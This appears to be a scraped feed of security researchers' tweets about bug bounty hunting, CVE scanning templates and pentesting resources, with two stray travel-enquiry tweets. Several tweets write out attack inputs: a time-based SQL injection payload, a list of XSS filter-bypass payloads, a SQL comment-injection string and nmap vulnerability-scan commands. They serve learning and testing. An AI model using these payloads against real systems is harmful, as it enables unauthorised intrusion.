Pratik Gaikwad

Security Researcher

[Pratik Gaikwad @X0rby7e]

@nxcare I booked a coach from Newcastle to London Heathrow for 4th at 12:30 (overnight service), but it’s not showing on the tracker. Could you confirm if the service is running on time?

[Pratik Gaikwad @X0rby7e]

Hello @nxcare please confirm that the NX230 (Notts to LHR) on 15th march at 7.30 am will be on time and not affected by M25 motorway roadworks. I have a flight to catch, and I can’t afford to be late.

[Dhiyaneshwaran @DhiyaneshDK]

🚨 CVE-2024-21893 - Ivanti SAML - Server Side Request Forgery (SSRF) - [HIGH]

Nuclei Template : https://t.co/55uoZubwnV @pdnuclei

#hackwithautomation #bugbounty #cve2023 #Ivanti

[Dhiyaneshwaran @DhiyaneshDK]

CVE-2024-0204 - Fortra GoAnywhere MFT - Authentication Bypass (critical) 🚨 discovered by @malcolmx0x & @IslamRalsaid1

Nuclei Template: https://t.co/QZ854NBbhq @pdnuclei

Reference: https://t.co/RR962OI5qO

#cve #hackwithautomation #bugbounty #pdteam

[Yunus Emre Öztaş @ynsmroztas]

always play with Post Request and stop using sqlmap 🤗
Ghauri is really excellent in this field
Payload ; 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
Just scored a reward @intigriti, check my profile: https://t.co/gWptipqmz8 #HackWithIntigriti #bugbounty #bugbountytip

[Luke Stephens (hakluke) @hakluke]

My guide to creating the perfect bug bounty automation! 🪲🔫🤖

This blog discusses ways in which you can start to automate bug bounty hunting!👇

https://t.co/FfVuyGEdSK

[ROHIT @rynosec]

🚨Tool Alert !! 🚨
For the past few days I have been playing with @streamlit and I must say it's awesome to spin up quick prototypes
I created this BugBounty Helper Tool Kit & it merely took 10 minutes, check out👇
https://t.co/OK8iuOdkoB

#bugbounty #bugbountytips #cybersecurity

[Nicolas Krassas @Dinosn]

The Ultimate Guide / CheatSheet to Flipper Zero https://t.co/hWpWbbvgcf

[Sumit Jain @sumit_cfe]

Cloud Pentesting Cheat Sheet

CheckOut ✅ this YouTube channel for more CyberSecurity & BugBounty videos

https://t.co/mt7AWuH4Ot

Join Telegram for PDF Download 👇👇
https://t.co/do7q8Uobau

#security #cybersecurity #infosec #appsec #mobilesec #bugbounty #Cloud

[Sumit Jain @sumit_cfe]

WordPress Sensitive File paths, add them in your worldlist

#bugbounty #infosec #appsec #CyberSecurity #fuzzing #Security

[Mohammed Fadhl Al-Barbari @M4dM0e]

🚨 Just published a new blog!

How I was able to takeover any account.

Cognito full account takeover writeup.

https://t.co/zw1dAu8NM3
Enjoy the read!
#writeup #togetherwehitharder #bugbountytips

[Deepak Choudhary @CipherEra]

IDOR Testing ( Method 1 ) => #WayToInject

=> Allow Access To Payments Data Of
Any User.

Poc:
https://t.co/KPLK9Uqw5x

#CipherEra #VedixEra #AlphaEra #bugbounty #bugbountytips #offensivesecurity #webtesting #pentesting #cybersecurity #cybersecuritytips

[Dhiyaneshwaran @DhiyaneshDK]

Recon Game! Stay on Top of Your Subdomain Discovery 🔥

Checkout my blogpost :
https://t.co/BepNoEWoUN

Subfinder Unleashed: Maximizing Subdomain Discovery with @securitytrails

#bugbounty #hackwithautomation #subfinder #securitytrails #recon @pdiscoveryio

[egre55 @egre55]

Cloud security folks!

If you're studying for an AWS, Microsoft or Google cloud security certification, did you know that @PwnedLabs has 30 FREE hands-on cloud security labs to supplement your learning?

That's over 40 hours real-world scenarios for red and blue - for free. Many labs are also byte-sized and can be done in a lunchtime.

Good luck in achieving your certifications and in your cloud security journey!

➡️ https://t.co/sfbo7Y1OMn

[VAIDIK PANDYA @h4x0r_fr34k]

Daily Notes : Day 78
REGEX BYPASSES

<sCrIpT>alert(XSS)</sCriPt>
#changing the case of the tag

<<script>alert(XSS)</script>
#prepending an additional "<"

<script>alert(XSS) //
#removing the closing tag

<script>alert`XSS`</script>
#using backticks instead of parenetheses

java%0ascript:alert(1)
#using encoded newline characters

<iframe src=https://t.co/8zitIlda5z <
#double open angle brackets

<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE>
#uncommon tags

<img/src=1/onerror=alert(0)>
#bypass space filter by using / where a space is expected

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a>
#extra characters

Function("ale"+"rt(1)")();
#using uncommon functions besides alert, console.log, and prompt

javascript:74163166147401571561541571411447514115414516216450615176
#octal encoding

<iframe src="javascript:alert(`xss`)">
#unicode encoding

/?id=1+un/**/ion+sel/**/ect+1,2,3--
#using comments in SQL query to break up statement

new Function`alt\`6\``;
#using backticks instead of parentheses

data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
#base64 encoding the javascript

%26%2397;lert(1)
#using HTML encoding

<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">
#Using Line Feed (LF) line breaks

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
#use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

References: https://t.co/THqZ8qa2YC

[bugcrowd @Bugcrowd]

3 ways to use Nmap as a vulnerabiltiy scanner

🐛 nmap -sV --script vuln &lt;target&gt;
🪲 nmap -sV --script vulners.nse &lt;target&gt;
🐞 nmap -sV --script vulscan/vulscan.nse &lt;target&gt;

Details on using vulscan in thread 🧵👇

[Pratik Gaikwad @X0rby7e]

Adversary Simulation &amp; Detection with Caldera: Red Teamers Guide

https://t.co/cewBB8Cq1k

#redteam #infosec #CyberSecurity

[Pratik Gaikwad @X0rby7e]

Standard cyber kill chain for APTs

1. Lockheed Martin Cyber Kill Chain https://t.co/3wWpvswpPv)
2. Unified Kill Chain https://t.co/fqOqOvmMwh
3. Varonis Cyber Kill Chain https://t.co/ztiK1VJSUu
4. Active Directory Attack Cycle https://t.co/Etv4eSKSdt
#redteam #infosec

[Pratik Gaikwad @X0rby7e]

@devansh3008 @SaveToNotion #thread #aws